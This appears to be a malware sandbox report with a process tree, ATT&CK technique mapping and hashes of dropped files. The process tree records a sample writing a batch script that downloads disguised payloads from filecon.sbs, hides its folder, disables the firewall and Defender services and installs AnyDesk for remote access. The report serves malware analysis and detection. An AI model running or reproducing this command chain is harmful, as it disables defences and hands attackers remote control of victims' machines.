- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5232,i,11816962643616995345,3192442200479711875,2097152 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=5212 /prefetch:15
    3⤵
    PID:4836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5484,i,9964322022509365346,4547643224501321435,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
    3⤵
    PID:4424
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5488,i,8851156076130526290,460201174559552274,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:14
    3⤵
    PID:5532
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6108,i,9720331036939463795,11572969416863588296,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:14
    3⤵
    PID:6928
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6108,i,9720331036939463795,11572969416863588296,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=6156 /prefetch:14
    3⤵
    PID:4904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6764,i,13773831758498959895,17268871500625925574,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:14
    3⤵
    PID:6932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6800,i,1579796938339119823,16416467293130266341,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=6184 /prefetch:14
    3⤵
    PID:6680
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6808,i,12225297983903485458,8925510262612224502,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=6852 /prefetch:14
    3⤵
    PID:7064
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3280,i,10635870572889177497,2002190417660120762,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=3048 /prefetch:14
    3⤵
    PID:5888
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6880,i,5161961490016292798,4470651030188561329,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:14
    3⤵
    PID:5344
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5500,i,1691702639080685282,1650317572191034084,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=6784 /prefetch:14
    3⤵
    PID:1612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6704,i,17352719208968960336,5205231725613352828,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:14
    3⤵
    PID:2440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6884,i,15441895451782940476,14629563167467121653,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:14
    3⤵
    PID:6936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6396,i,15028458322850975746,6507960638932891842,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=6600 /prefetch:14
    3⤵
    PID:4212
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6600,i,4569543320573268782,10249333420107054586,262144 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=1928 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1200,i,3928084564308187950,7671238904074155125,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:14
    3⤵
    PID:1688
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>C:\Users\Admin\AppData\Roaming\Windows\find.cmd cd C:\Users\Admin\AppData\Roaming\Windows\
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:7080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd setlocal enabledelayedexpansion
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6532
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd set "file=C:\Users\Admin\AppData\Roaming\Windows\url.txt"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1092
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd set "content="
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd for /f "delims=" %%A in (%file%) do (
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6572
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd set "content=!content! %%A"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6320
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd )
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd C:\Users\Admin\AppData\Roaming\Windows\find.exe -o C:\Users\Admin\AppData\Roaming\Windows\bk.rar %content%/bk.jpg
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4860
- C:\Windows\SysWOW64\attrib.exe
  "C:\Windows\System32\attrib.exe" +s +h C:\Users\Admin\AppData\Roaming\Windows
  2⤵
  - Sets file to hidden
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:5672
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd C:\Users\Admin\AppData\Roaming\Windows\find.exe -o C:\Users\Admin\AppData\Roaming\Windows\driver.exe %content%/driver.jpg
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd C:\Users\Admin\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Admin\AppData\Roaming\Windows\bk.rar C:\Users\Admin\AppData\Roaming\Windows\ /y
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3680
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd C:\Users\Admin\AppData\Roaming\Windows\find.exe -o C:\Users\Admin\AppData\Roaming\Windows\pas.rar %content%/pas.jpg
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd start C:\Users\Admin\AppData\Roaming\Windows\Trays\Trays.lnk
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3288
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd C:\Users\Admin\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Admin\AppData\Roaming\Windows\pas.rar blat.exe C:\Users\Admin\AppData\Roaming\Windows\ /y
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6840
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd C:\Users\Admin\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Admin\AppData\Roaming\Windows\pas.rar AnyDesk.exe C:\Users\Admin\AppData\Roaming\Windows\ /y
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4596
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd C:\Users\Admin\AppData\Roaming\Windows\driver.exe x -r -ep2 -hplimpid2903392 C:\Users\Admin\AppData\Roaming\Windows\pas.rar bat.bat C:\Users\Admin\AppData\Roaming\Windows\ /y
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd del /q find.exe
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2924
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd netsh advfirewall set allprofiles state off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:4076
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd sc stop WinDefend
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:6248
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd net stop MpsSvc
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:3168
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd sc stop MpsSvc
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5972
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd sc delete MpsSvc
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5976
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo>>C:\Users\Admin\AppData\Roaming\Windows\find.cmd AnyDesk.exe --install C:\Users\Admin\AppData\Roaming\Windows\AnyDesk
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:2488
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows\any.bat" "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 120 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:6072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo QWERTY1234566 "
    3⤵
    PID:5832
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows\find.cmd" "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:480
- - C:\Users\Admin\AppData\Roaming\Windows\find.exe
    C:\Users\Admin\AppData\Roaming\Windows\find.exe -o C:\Users\Admin\AppData\Roaming\Windows\bk.rar http://filecon.sbs//bk.jpg
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6532
- - C:\Users\Admin\AppData\Roaming\Windows\find.exe
    C:\Users\Admin\AppData\Roaming\Windows\find.exe -o C:\Users\Admin\AppData\Roaming\Windows\driver.exe http://filecon.sbs//driver.jpg
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5380
- - C:\Users\Admin\AppData\Roaming\Windows\find.exe
    C:\Users\Admin\AppData\Roaming\Windows\find.exe -o C:\Users\Admin\AppData\Roaming\Windows\pas.rar http://filecon.sbs//pas.jpg
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3412
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:6508
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:6044
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1468
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:3612
- - C:\Windows\SysWOW64\sc.exe
    sc stop MpsSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4084
- - C:\Windows\SysWOW64\sc.exe
    sc delete MpsSvc
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:6572

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:6200

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:3260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e9e31f5fb014f6a7439a4e224bdae6d3d8b22db7c287d9c004b0184cc18e6bf8
MD5 00fe8112e1beaff1b09c3e772b0b70e6
SHA1 1d234f4d61d2fe0153bb63a7a246d37e6fc0aabe
SHA512 aaafc34862d38399e66858477aa9d3d624e9e071371fe2961aac0159845c41dbe1ed0ae62f8b9c52f327e4e4a97abdaf614ae741bcfd2627ec55b1d4f6fb6d74
TLSH
T1EAD08071B7286847D9551931D432CB017A57546365BAD1025160410C6C7BDB553CA155
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ba1406dd0117e6bb02a18e1f0ca40a20fdf33f68d611dcf6b59a242ae289374a
MD5 8a26ea5cde92773cb558eb116e113216
SHA1 2f807e9fd5e13c4ff550fceca7d90f11683ae33e
SHA512 dca9db1a71d0ad99193f78ee9f9221519b875eb1beb13ebfbd9d64a1b449eb8a027a5b2ceadf9158001b4548f036b26ed4f2c36ce3e8b981af5a54590c0e94a5
TLSH
T1B8D0C030B7286803D5141931D022CB007A17002321BBD1025160C00C2C3BCB163CA141
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 1b001d75bf81cb7b3448c80195171c21ac9be61336097881fa96b46414e466c3
MD5 84d537926c80bd17a7419167e1ede7cd
SHA1 ce8ae2ef2f3e43afd61c169c1337be71ebeb7414
SHA512 cc0a5e82fa489a868c5e504232134d7a41dd91cb36a2497099b1dc669b3c083e4481d72c389f1c3cd03fe1890ebac8eddc875f3df949b574a669f9431073fe42
TLSH
T197E0EDA9C920B83719F91B18A0A44647EB84135B3B40C88B3A3C922D8FB063B468AC5C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 9c83e8235b6bf4cd7c280f4d0fa6e3e5d983335fcc50c49a0e0fed807b83f75e
MD5 520a0a369bbbad1f81eaa7c852403e8d
SHA1 f98b6aa5a854c72c892639c2176dca05566c163d
SHA512 331ff940c9a09d104d58182f3c1e176a08740cfc8b6082ed47fc8269c8dd3c87298f4beb3134c3882bbf8caac6e3470e1ced69a73933f522e2fcf8218b8b6982
TLSH
T12161827D47329AE6D32D17B198D1FEB936F3A79931CB2A2184549D389C63F502ED00A3
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe599abf.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe599abf.TMP
Size 3KB
SHA256 4ddf90926081fa71ffc93e422816371627f42dd6864fa3a21f735b2e330a459e
MD5 650dbe3afdaa971c453f82a83e93acdc
SHA1 a350ca83a763713cf62d1d4d595dbcdbd9ea21a6
SHA512 3d6afb6021e3ec24ce5240a1eba4853be63dd114c6bc8c8de38ee04f01f33a64996cdb7971ef39a7aa44f74c795e0bd9b5c375b009a116c9d6ffe1c050759ea3
TLSH
T1B961647C43329AE1D72C57B598D5FEB931F7A79931CB2A2084545D385C63F501ED0053
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 1d1de5079f20b6979b1d4622bd0ac48493f58b81204678852743aff34dfd59f9
MD5 68f83ac65decf6c404a4ec481250c39f
SHA1 78f9e74a651dafd6429aceb98155f83eea1cdedf
SHA512 10dba92d63eb0eecd1f1aaa05a3d839803cf566d948ab7d91ccd375d7fb9491a5ec5c2b50f7ef31326fbd3350af02203714ebe7685a2a219b8feb0b46decf89a
TLSH
T17C41C0F383F4856E8A0195F0AA186E1BCE2D0515832C7D9AC9E4EE1BA3E3471E041A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 77ff2026a63f931226e5bfe3cd7aae68678efa88071dc185dd01b799bb8ff3be
MD5 bed7af45d7b9f117d9a4371f3a1c894e
SHA1 ed0b13e136e9993f6cee1b073951869f0f12ecf0
SHA512 d418bc5381f95dc18b46523aa9114884b0aee1ca8de7e7dfff3131a5f10a2ffe8d01274dae905a05f567beac15cf18b3ef0d273c4d872d3e239ccafbae74c383
SSDEEP 384:sxRtjq/t/fcsu/N/RIifQ/5IW4QOUsGQCqh:sRe/t/f+VW5/5IW4esGQz
TLSH
T18772E815AA349977CCCBD619FA857F93D6F85173A1901E44AAFCCE0C00E66ED210782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 a073093c6919dbf24a8dc7db7a05d1898bf55e5436f5f2deeaacc661ae21219d
MD5 bd79f1071486dccbb6e295dc0e1e6a35
SHA1 5394c660b82f94d94c826d5b74057d672fb42108
SHA512 5e8ea7162fd46b93633ebc2d3b781acd3de44b9a2e917a4ac82592dac0d601ab097849543b2fece01fba2c6908af616f3522dc64569bdf310b333b8eb732d9e9
SSDEEP 384:sxRtjlt/fcsZGN/RIifQ/5IW4FOxsGQCj0:sRRt/fpkW5/5IW46sGQP
TLSH
T1B872E8156A389D37CCCBD609FA957F93D6FC5173A1905E44AAFC8A0C04E66ED210782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 d43413c2d8180387bc8e57e3383d7086928afbabccf1e799028e37cb308293a0
MD5 6b0c3e315435519299879c8ed5f8001e
SHA1 dd85366d89efc04c7b4b4ea34534e30732ba363f
SHA512 ffb2746e255d78b30c7641ec39cc0ea94a33978f14e0566d41fa12ecd306bda20938981152f1b1c01b61b52436f82af8cd6601ba8b66503d337525e41d323354
SSDEEP 768:Ob4YZx7pLuL7yTWg1NfwB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVJobbDwzrot4No:Ob4YZnE7yTWg1NfwBu1ja+obHwACNo
TLSH
T1A7E2EB3B280CCB7E4F804ADDEC29BD9A6DA801CF5AD8C95447FA850C03C6BEB55165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 d7e832bf4341084ba97daae90f327ad7b4d870f5d1a43f777407ec788fde3138
MD5 21b1f0254ea58236dc0cc48ebc91d029
SHA1 b50586705a9af91c66c6d5ec4ec606767e1b0a8c
